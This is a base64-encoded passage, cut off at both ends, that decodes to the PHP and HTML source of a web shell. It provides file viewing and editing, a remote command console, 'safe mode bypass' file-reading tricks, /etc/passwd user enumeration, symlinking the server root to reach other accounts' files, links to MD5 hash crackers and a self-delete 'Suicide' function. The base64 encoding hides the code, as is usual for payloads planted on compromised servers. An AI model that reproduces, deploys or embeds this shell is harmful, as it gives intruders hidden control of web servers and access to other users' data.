dlbmVyYXRvci5jb20vJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPgoJCQk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0idG9vbHM0bm9vYnMuY29tIiBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cudG9vbHM0bm9vYnMuY29tL29ubGluZV9waHBfZnVuY3Rpb25zLyc7ZG9jdW1lbnQuaGYuc3VibWl0KCkiPjxicj4KCQkJPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Im1kNS5yZWRub2l6ZS5jb20iIG9uY2xpY2s9ImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+CgkJCTxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJtZDVkZWNyeXB0ZXIuY29tIiBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+CgkJPC9mb3JtPgoJPC9kaXY+Cgk8P3BocAoJcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsKCWlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkKCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsKCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsKCQlpZihpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewoJCQlvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsKCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewoJCQkJJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsKCQkJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiLiR0eXBlKTsKCQkJfQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOwoJCQlpZigkZnApIHsKCQkJCXdoaWxlKCFAZmVvZigkZnApKQoJCQkJCWVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7CgkJCQlmY2xvc2UoJGZwKTsKCQkJfQoJCX0gZWxzZWlmKGlzX2RpcigkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKCgkJfQoJCWV4aXQ7Cgl9CglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsKCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgewoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOwoJCQlpZigkZnApIHsKCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfQoJfQoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7CgkJZWNobyAnRmlsZSBub3QgZXhpc3RzJzsKCQlwcmludEZvb3RlcigpOwoJCXJldHVybjsKCX0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsKCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/dmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLnZpZXdQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOwoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7CglpZiggZW1wdHkoJF9QT1NUWydwMiddKSApCgkJJF9QT1NUWydwMiddID0gJ3ZpZXcnOwoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApCgkJJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOwoJZWxzZQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOwoJZm9yZWFjaCgkbSBhcyAkdikKCQllY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOwoJZWNobyAnPGJyPjxicj4nOwoJc3dpdGNoKCRfUE9TVFsncDInXSkgewoJCWNhc2UgJ3ZpZXcnOgoJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nOwoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwoJCQlpZigkZnApIHsKCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkJfQoJCQllY2hvICc8L3ByZT4nOwoJCQlicmVhazsKCQljYXNlICdoaWdobGlnaHQnOgoJCQlpZiggaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsKCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsKCQkJCSRjb2RlID0gaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOwoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsKCQkJfQoJCQlicmVhazsKCQljYXNlICdjaG1vZCc6CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCSRwZXJtcyA9IDA7CgkJCQlmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQoJCQkJCSRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7CgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkKCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsKCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdlZGl0JzoKCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwoJCQkJYnJlYWs7CgkJCX0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSwkX1BPU1RbJ3AzJ10pOwoJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoICFAZmVvZigkZnApICkKCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQl9CgkJCWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJCWNhc2UgJ2hleGR1bXAnOgoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOwoJCQkkbiA9IDA7CgkJCSRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwoJCQkkbGVuID0gc3RybGVuKCRjKTsKCQkJZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CgkJCQkkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOwoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7CgkJCQkJY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQlkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOwoJCQkJfQoJCQkJJG4rKzsKCQkJCWlmICgkbiA9PSAzMikgewoJCQkJCSRuID0gMDsKCQkJCQlpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQoJCQkJCSRoWzFdIC49ICc8YnI+JzsKCQkJCQkkaFsyXSAuPSAiXG4iOwoJCQkJfQoJCSAJfQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7CgkJCWJyZWFrOwoJCWNhc2UgJ3JlbmFtZSc6CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCWlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkKCQkJCQllY2hvICdDYW5cJ3QgcmVuYW1lITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAndG91Y2gnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwoJCQkJaWYoJHRpbWUpIHsKCQkJCQlpZihAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKCQkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsKCQkJCQllbHNlIHsKCQkJCQkJZWNobyAnRmFpbCE8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCQkJfQoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCE8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdta2ZpbGUnOgoJCQkKCQkJYnJlYWs7Cgl9CgllY2hvICc8L2Rpdj4nOwoJcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7CgkkdGVtcD0nJzsKCW9iX3N0YXJ0KCk7Cglzd2l0Y2goJF9QT1NUWydwMSddKSB7CgkJY2FzZSAxOgoJCQkkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7CgkJCWlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7CgkJCQllY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7CgkJCQl1bmxpbmsoJHRlbXApOwoJCQl9IGVsc2UKCQkJCWVjaG8gJ1NvcnJ5Li4uIENhblwndCBvcGVuIGZpbGUnOwoJCQlicmVhazsKCQljYXNlIDI6CgkJCSRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7CgkJCWlmKCBpc19hcnJheSgkZmlsZXMpICkKCQkJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpCgkJCQkJZWNobyAkZmlsZW5hbWUuIlxuIjsKCQkJYnJlYWs7CgkJY2FzZSAzOgoJCQkkY2ggPSBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIuU0VMRl9QQVRIKTsKCQkJY3VybF9leGVjKCRjaCk7CgkJCWJyZWFrOwoJCWNhc2UgNDoKCQkJaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOwoJCQlpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CgkJCWluY2x1ZGUoJF9QT1NUWydwMiddKTsKCQkJYnJlYWs7CgkJY2FzZSA1OgoJCQlmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsKCQkJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKCQkJCWlmICgkdWlkKQoJCQkJCWVjaG8gam9pbignOicsJHVpZCkuIlxuIjsKCQkJfQoJCQlicmVhazsKCQljYXNlIDY6CgkJCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpKWJyZWFrOwoJCQkkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIiIsICIiKTsKCQkJaWYgKCRzdHJlYW0gPT0gRkFMU0UpCgkJCQlicmVhazsKCQkJZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7CgkJCWltYXBfY2xvc2UoJHN0cmVhbSk7CgkJCWJyZWFrOwoJfQoJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKCXByaW50SGVhZGVyKCk7CgllY2hvICc8aDE+U2FmZSBtb2RlIGJ5cGFzczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CgllY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48YnI+PHNwYW4+SW1hcF9vcGVuIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjYiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CglpZigkdGVtcCkKCQllY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+Jy4kdGVtcC4nPC9wcmU+JzsKCWVjaG8gJzwvZGl2Pic7CglwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgewoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwoJCW9iX3N0YXJ0KCk7CgkJZWNobyAiZG9jdW1lbnQuY2YuY21kLnZhbHVlPScnO1xuIjsKCQkkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOwoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJewoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgewoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOwoJCQkJZWNobyAiZG9jdW1lbnQubWYuYy52YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsKCQkJfQoJCX0KCQllY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CgkJZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKCQkkdGVtcCA9IG9iX2dldF9jbGVhbigpOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsKCX0KCXByaW50SGVhZGVyKCk7Cj8+CjxzY3JpcHQ+CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCIiKTsKdmFyIGN1ciA9IDA7CmZ1bmN0aW9uIGtwKGUpIHsKCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOwoJaWYobiA9PSAzOCkgewoJCWN1ci0tOwoJCWlmKGN1cj49MCkKCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoJCWVsc2UKCQkJY3VyKys7Cgl9IGVsc2UgaWYobiA9PSA0MCkgewoJCWN1cisrOwoJCWlmKGN1ciA8IGNtZHMubGVuZ3RoKQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CgkJZWxzZQoJCQljdXItLTsKCX0KfQpmdW5jdGlvbiBhZGQoY21kKSB7CgljbWRzLnBvcCgpOwoJY21kcy5wdXNoKGNtZCk7CgljbWRzLnB1c2goIiIpOwoJY3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4KPD9waHAKCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZG9jdW1lbnQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2RvY3VtZW50LmNmLm91dHB1dC52YWx1ZT1cJ1wnO2RvY3VtZW50LmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOwoJZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7CgkJaWYoJHYgPT0gJycpIHsKCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOwoJCQljb250aW51ZTsKCQl9CgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwoJfQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7aWYoZG9jdW1lbnQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO30iIHZhbHVlPSI+PiI+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0iYm9yZGVyLWJvdHRvbTowO21hcmdpbjowOyIgcmVhZG9ubHk+JzsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSk7Cgl9CgllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlci10b3A6MDt3aWR0aDoxMDAlO21hcmdpbjowOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij4nOwoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+JzsKCXByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsKCXVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOwoJZWNobyAnYnllISc7Cn0KCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7CglwcmludEhlYWRlcigpOwoJaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKSB7CgkJaWYoQHVubGluayhTRUxGX1BBVEgpKQoJCQlkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsKCQllbHNlCgkJCWVjaG8gJ3VubGluayBlcnJvciEnOwoJfQoJZWNobyAnPGgxPlN1aWNpZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5SZWFsbHkgd2FudCB0byByZW1vdmUgdGhlIHNoZWxsPzxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCd5ZXNcJykiPlllczwvYT48L2Rpdj4nOwoJcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uVG9vbHMoKSB7CglwcmludEhlYWRlcigpOwoJCgkJcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRG9tYWlucygpIHsKCXByaW50SGVhZGVyKCk7CgllcnJvcl9yZXBvcnRpbmcoMCk7CmVjaG8gIjx0aXRsZT4jRG9tYWlucyAmIFVzZXJzPC90aXRsZT4iOwpta2Rpcigic3ltIik7CnN5bWxpbmsoIi8iLCIwL3gudHh0Iik7CiRjICA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgXG4gRGlyZWN0b3J5SW5kZXggc3Nzc3NzLmh0bS